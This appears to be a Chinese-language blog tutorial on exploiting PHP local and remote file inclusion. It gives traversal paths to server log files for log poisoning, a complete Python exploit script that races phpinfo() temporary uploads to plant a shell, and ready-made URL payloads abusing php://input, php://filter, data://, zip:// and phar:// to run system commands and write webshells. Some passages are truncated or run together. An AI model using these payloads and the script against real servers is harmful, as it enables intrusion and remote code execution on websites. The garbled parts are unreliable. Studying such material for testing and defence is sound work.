FILE_INCLUDE
基本常识
如果允许客户端用户输入控制动态包含在服务器端的文件,会导致恶意代码的执行及敏感信息泄露,主要包括本地文件包含和远程文件包含两种形式。
常见包含函数有:include()、require()
区别:
- include是当代码执行到它的时候才加载文件,发生错误的时候只是给一个警告,然后继续往下执行
- require是只要程序一执行就会立即调用文件,发生错误的时候会输出错误信息,并且终止脚本的运行
require一般是用于文件头包含类文件、数据库等等文件,include一般是用于包含html模版文件
include_once()、require_once()与(include\require)的功能相同,只是区别于当重复调用的时候,它只会调用一次。
<?php
include($_GET['file']);
?>
LFI
- 包含目录文件?f=test.txt
如果里面的内容是php,则内容会被当成php执行,不是php则会读取到文件内容(用来读取/etc/passw等等配置文件的敏感信息) - ?f=./../../test.txt
./当前目录,../上一级目录,这样的遍历目录来读取文件 - 包含日志文件
无法上传文件的时候,可以尝试利用UA插入payload到日志文件,然后包含容器的日志文件(错误、访问文件都行),注意:选择凌晨包含最好,payload后面加一个exit()退出程序,以防大日志导致浏览器卡死,如果包含不成功,也许是open_basedir限制了目录
常见路径:
../../../../../../../../../../var/log/httpd/access_log
../../../../../../../../../../var/log/httpd/error_log
../apache/logs/error.log
../apache/logs/access.log
../../apache/logs/error.log
../../apache/logs/access.log
../../../apache/logs/error.log
../../../apache/logs/access.log
../../../../../../../../../../etc/httpd/logs/acces_log
../../../../../../../../../../etc/httpd/logs/acces.log
../../../../../../../../../../etc/httpd/logs/error_log
../../../../../../../../../../etc/httpd/logs/error.log
./../../../../../../../../../var/www/logs/access_log
../../../../../../../../../../var/www/logs/access.log
../../../../../../../../../../usr/local/apache/logs/access_log
../../../../../../../../../../usr/local/apache/logs/access.log
../../../../../../../../../../var/log/apache/access_log
../../../../../../../../../../var/log/apache/access.log
../../../../../../../../../../var/log/access_log
../../../../../../../../../../var/www/logs/error_log
../../../../../../../../../../var/www/logs/error.log
../../../../../../../../../../usr/local/apache/logs/error_log
../../../../../../../../../../usr/local/apache/logs/error.log
../../../../../../../../../../var/log/apache/error_log
../../../../../../../../../../var/log/apache/error.log
../../../../../../../../../../var/log/access_log
../../../../../../../../../../var/log/error_log/var/log/httpd/access_log
/var/log/httpd/error_log
../apache/logs/error.log
../apache/logs/access.log
../../apache/logs/error.log
../../apache/logs/access.log
../../../apache/logs/error.log
../../../apache/logs/access.log
/etc/httpd/logs/acces_log/etc/httpd/logs/acces.log
/etc/httpd/logs/error_log/etc/httpd/logs/error.log
/var/www/logs/access_log/var/www/logs/access.log
/usr/local/apache/logs/access_log/usr/local/apache/logs/access.log
/var/log/apache/access_log/var/log/apache/access.log
/var/log/access_log/var/www/logs/error_log/var/www/logs/error.log
/usr/local/apache/logs/error_log/usr/local/apache/logs/error.log
/var/log/apache/error_log/var/log/apache/error.log
/var/log/access_log/var/log/error_log
fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件,然后写入
");fclose($fp);?>我们提交这句,再让Apache记录到错误日志里,再包含就成功写入shell,记得一定要转换成URL格式才成功。转换为
这样就错误日志里就记录下了这行写入webshell的代码。我们再来包含日志,提交/home ... /logs/www-error_log 这样webshell就写入成功了,config.php里就写入一句话
4. 包含系统环境
linux(FreeBSD是没有这个的)下的/proc/self/environ
要求是php运行早cgi上面(具体没测试)...然后和包含日志一样,在User-agent修改成payload.
Exploiting LFI to RCE /proc/self/environ with burpsuite:
https://www.youtube.com/watch?v=dlh0ogYy9ys
5. 包含session文件
session文件一般在/tmp目录下,格式为sess_[phpsessid],
session文件一般在/tmp目录下,格式为sess_[your phpsessid value],有时候也有可能在/var/lib/php5之类的,在此之前建议先读取配置文件。在某些特定的情况下如果你能够控制session的值, 也许你能够获得一个shell
利用phpinfo包含
一、以上传文件的方式请求任意PHP文件,服务器都会创建临时文件来保存文件内容
在HTTP协议中为了方便进行文件传输,规定了一种基于表单的HTML文件传输方法。
Filename:
其中PHP引擎对enctype=”multipart/form-data”这种请求的处理过程如下:
1、请求到达;
2、创建临时文件,并写入上传文件的内容;
3、调用相应PHP脚本进行处理,如校验名称、大小等;
4、删除临时文件。
PHP引擎会首先将文件内容保存到临时文件,然后进行相应的操作。
我们可以对phpinfo.php发起请求,查看服务端变化。由于处理时间极短,我们肉眼无法看到文件夹下临时文件的创建删除过程,可以选择sleep操作延长phpinfo脚本的时间,在慢镜头下,我们看到了生成的临时文件。其中临时文件内容正是我们POST请求中文件内容,临时文件的名称是php+随机数字.tmp,正中本地文件包含痛点。
通过刚才的实验,我们发现临时文件的生命周期很短,脚本执行完成后边删除临时文件。我们要做的就是在删除之前包含文件。下面继续。
二、PHPInfo可以输出$_FILES信息,包括临时文件路径、名称
在PHP中,有超全局变量$_FILES,保存上传文件的信息,包括文件名、类型、临时文件名、错误代号、大小。
Phpinfo()是一个无比强大的函数,可以输出大量的关于服务器的配置信息,其中包括超全局变量的值。
三、分块传输编码
通常,HTTP中的响应消息都是整个发送的,在发送之前知道Content-Lenth值,作为响应头的一部分发送给客户端。
分块传输编码,可以在不知道Content-Lenth情况下,进行分块传输,并把Content-Lenth置为chunked。PHP默认情况,当传输数据大于4KB时,采用分块传输编码。将数据分为一块或多块传输。传输格式是:
每一个非空的块都以该块包含数据的字节数(字节数以十六进制表示)开始,跟随一个CRLF (回车及换行),然后是数据本身,最后块CRLF结束。在一些实现中,块大小和CRLF之间填充有白空格(0x20)。
最后一块是单行,由块大小(0),一些可选的填充白空格,以及CRLF。
四、争取时间,在临时文件删除之前执行包含操作
利用PHPInfo进行本地文件包含的主要思想是在临时文件删除前执行操作。
我们需要争取时间,时间差大致来自三个方面:
1、通过分块传输编码,提前获知临时文件名称;
分块传输可以实现在未完全传输完成时即可获知临时文件名,可以尽早发起文件包含请求,赶在删除之前执行代码。
2、通过增加临时文件名后数据长度来延长时间;
通过观察PHPinfo的信息,在$_FILES信息下面,还有请求头的相关信息,我们可以在请求的时候,通过填充大量无用数据,来增加后面数据的长度,从而增加脚本的处理时间,为包含文件争取更多的时间。
Python代码:
# coding:utf-8
import sys
import socket
import threading
def setup(host, port):
"""
初始化HTTP请求数据包
TAG:校验包含是否成功标志
PAYLOAD:包含要执行的PHP代码
padding:增加数据块内容
LFIREQ:文件包含请求
REQ_DATA:POST请求数据
REQ:完整POST请求
"""
TAG = "Security Test"
PAYLOAD = """%s
")
?>\r""" % TAG
padding = "A" * 2000
LFIREQ = """GET /lfi.php?load=%(file)s HTTP/1.1\r
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36\r
Connection: keep-alive\r
Host: %(host)s\r
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r
Upgrade-Insecure-Requests: 1\n
Accept-Encoding: gzip, deflate, sdch\n
\n"""
REQ_DATA = """------WebKitFormBoundaryIYu6Un7AVVkBR0k6\r
Content-Disposition: form-data; name="file"; filename="shell.php"\r
Content-Type: application/octet-stream\r
\r
%s
------WebKitFormBoundaryIYu6Un7AVVkBR0k6\r
Content-Disposition: form-data; name="submit"\r
\r
Submit
------WebKitFormBoundaryIYu6Un7AVVkBR0k6--\r""" % PAYLOAD
REQ = """POST /phpinfo.php HTTP/1.1\r
User-Agent: """ + padding + """\r
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r
Accept-Language: """ + padding + """\r
Accept-Encoding: gzip, deflate\r
Cache-Control: max-age=0\r
Referer: """ + padding + """\r
Connection: keep-alive\r
Upgrade-Insecure-Requests: 1\r
Host: %(host)s\r
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryIYu6Un7AVVkBR0k6\r
Content-Length: %(len)s\r
\r
%(data)s""" % {'host': host, 'len': len(REQ_DATA), 'data': REQ_DATA}
return (REQ, TAG, LFIREQ)
def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
"""
:param host: 目标主机IP
:param port: 端口
:param phpinforeq: 对phpinfo文件的请求
:param offset: 临时文件名位置
:param lfireq:文件包含请求
:param tag: 检测包含成功标志
:return: 返回完整临时文件名
"""
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s2.connect((host, port))
s.send(phpinforeq)
d = ""
while len(d) < offset:
d += s.recv(offset)
try:
i = d.index("[tmp_name] =>")
fn = d[i + 17:i + 40]
except ValueError:
return None
s2.send(lfireq % {'file': fn, 'host': host})
d = s2.recv(4096)
s.close()
s2.close()
if d.find(tag) != -1:
return fn
counter = 0
class ThreadWorker(threading.Thread):
"""
线程操作
maxattempts:最大尝试次数
"""
def __init__(self, e, l, m, *args):
threading.Thread.__init__(self)
self.event = e
self.lock = l
self.maxattempts = m
self.args = args
def run(self):
global counter
while not self.event.is_set():
with self.lock:
if counter >= self.maxattempts:
return
counter += 1
try:
x = phpInfoLFI(*self.args)
if self.event.is_set():
break
if x:
print "\nGot it! Shell create in H:/wamp/tmp/g.php"
self.event.set()
except socket.error:
return
def getOffset(host, port, phpinforeq):
"""
:param host: 目标主机IP
:param port: 端口
:param phpinforeq: 对phpinfo文件的POST请求
:return:返回临时文件名在返回数据块中的位置
"""
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(phpinforeq)
d = ""
while True:
i = s.recv(4096)
d += i
if i == "":
break
if i.endswith("0\r\n\r\n"):
break
s.close()
i = d.find("[tmp_name] =>")
if i == -1:
raise ValueError("No php tmp_name in phpinfo output")
print "found %s at %i" % (d[i:i + 10], i)
return i + 256
def main():
print "LFI with PHPinfo()"
if len(sys.argv) < 2:
print "Usage:%s host [port] [poolsz]" % sys.argv[0]
sys.exit(1)
try:
host = socket.gethostbyname(sys.argv[1])
except socket.error, e:
print "Error with hostname %s: %s" % (sys.argv[1], e)
sys.exit(1)
port = 80
try:
port = int(sys.argv[2])
except IndexError:
pass
except ValueError, e:
print "Error with port %d: %s" % (sys.argv[2], e)
sys.exit(1)
poolsz = 10
try:
poolsz = int(sys.argv[3])
except IndexError:
pass
except ValueError, e:
print "Error with poolsz %d: %s" % (sys.argv[3], e)
sys.exit(1)
print "Getting initial offset..."
phpinforeq, tag, lfireq = setup(host, port)
offset = getOffset(host, port, phpinforeq)
sys.stdout.flush()
maxattempts = 200
e = threading.Event()
l = threading.Lock()
print "Spawning worker pool (%d)..." % poolsz
sys.stdout.flush()
tp = []
for i in range(0, poolsz):
tp.append(ThreadWorker(e, l, maxattempts, host, port, phpinforeq, offset, lfireq, tag))
for t in tp:
t.start()
try:
while not e.wait(1):
if e.is_set():
break
with l:
sys.stdout.write("\r % 4d / % 4d" % (counter, maxattempts))
sys.stdout.flush()
if counter >= maxattempts:
break
if e.is_set():
print "Woot! \m/"
else:
print ":("
except KeyboardInterrupt:
print "\nTelling threads to shutdown..."
e.set()
for t in tp:
t.join()
if __name__ == "__main__":
main()
php伪协议包含
0x01 php://
-
php://input
php://input 是个可以访问请求的原始数据的只读流。 POST 请求的情况下,最好使用 php://input 来代替 $HTTP_RAW_POST_DATA,因为它不依赖于特定的 php.ini 指令。 而且,这样的情况下 $HTTP_RAW_POST_DATA 默认没有填充, 比激活 always_populate_raw_post_data 潜在需要更少的内存。 enctype="multipart/form-data" 的时候 php://input 是无效的。从php手册里面我们可以知道,php://input是用来接收post数据的,于是一句话便可以这样写
<?php @eval(file_get_contents('php://input'));?>之前的dedecms就被植入了这个一句话后门
当 allow_url_include=On 的时候 php://input 还可以向下面这样玩
<?php include "php://input";?> http://127.0.0.1/php/2.php post:<?php phpinfo();?>![]()
可以看见,post过去的php代码已经被执行
<?php include $_GET['file'];?>上面的这个php代码是存在任意文件包含漏洞的,我们可以向上面demo那样构造语句,执行命令或者直接写个webshell
http://127.0.0.1/php/2.php?file=php://input post:<?php system("whoami");?>![]()
-
php://filter
php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文 件函数非常有用,类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会 应用其他过滤器。![]()
php://filter 是PHP语言中特有的协议流,作用是作为一个“中间流”来处理其他流
一些常见的过滤器
- convert.base64-encode
- convert.base64-decode
- string.rot13
- string.toupper
- string.tolower
- string.strip_tags
在任意文件包含中,我们常用php://filter/read=convert.base64-encode/resource=xxx.php来读取源码
php://filter 的其他利用场景
<?php $str = '<?php exit(\'74\');?>'.$_GET['c']; $fname = $_GET['f']; file_put_contents($fname,$str); ?>上面代码中 $str 加上了exit()函数,因此后面的任意语句都不会输出,如果我们能吃掉前面的代码,那么就能直接写个webshell
第一种利用:
http://127.0.0.1/php/3.php?f=php://filter/write=convert.base64-decode/resource=shell.php&c=dddPD9waHAgcGhwaW5mbygpOyA/Pg==这里利用转换过滤器将shell.php的内容进行base64解码,吃掉了前面的。要注意的是base64的解码原理
第二种利用:
http://127.0.0.1/php/3.php?f=php://filter/write=string.rot13/resource=shell.php&c=<?cuc cucvasb();?>这里利用字符串过滤器将shell.php的内容进行rot13加密,使变成这样不被解析的代码。这里要注意的是没有开启short_open_tag
第三种利用:
http://127.0.0.1/php/3.php?f=php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php&c=PD9waHAgcGhwaW5mbygpOyA/Pg==这里利用字符串过滤器strip_tags(等同于strip_tags()函数)将php标记过滤掉了,然后再对内容进行base64解密,这样就避免了我们写入的代码也被过滤了
0x02 data://
当 allow_url_include=On 的时候,在任意文件包含中可以利用 data:// 直接拿到webshell
http://127.0.0.1/php/2.php?file=data://text/plain,<?php phpinfo();?>
http://127.0.0.1/php/2.php?file=data://,<?php phpinfo();?>
http://127.0.0.1/php/2.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==
http://127.0.0.1/php/2.php?file=data://;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==

data:// 在其他地方的利用
<?php
file_put_contents($_GET['path'], file_get_contents($_GET['file']));
?>
与上面的利用一样
http://127.0.0.1/php/4.php?path=test.php&file=data://text/plain;charset=utf-8,<?php phpinfo();?>
zip://
首先我们新建一个zip文件,里面压缩着一个php脚本。

然后我们构造zip://clay.zip#clay.php
http://127.0.0.1/file.php?file=zip://clay.zip%23clay.php
我们只需要把一个1.php压缩为1.zip然后把zip改个名字就好了

这样就成功shell了。
phar://
首先我们要用phar类打包一个phar标准包
<?php
$p = new PharData(dirname(__FILE__).'/clay.jpg', 0,'phartest',Phar::ZIP) ;
$p->addFromString('testfile.txt', '<?php phpinfo();?>');
?>
创建phar的时候要注意php.ini的参数,phar.readonly设置为off(本地测试的两个默认都是off)
然后通过包含协议访问:
http://192.168.227.128/other/lfi/ex1.php?f=phar://./phar/clay.jpg/testfile.txt
其中phar适用范围为php>5.3.0
以上的这种包含方式在这样的情况下是无效的。
include(一个规定的路径+可控点+后缀)




浙公网安备 33010602011771号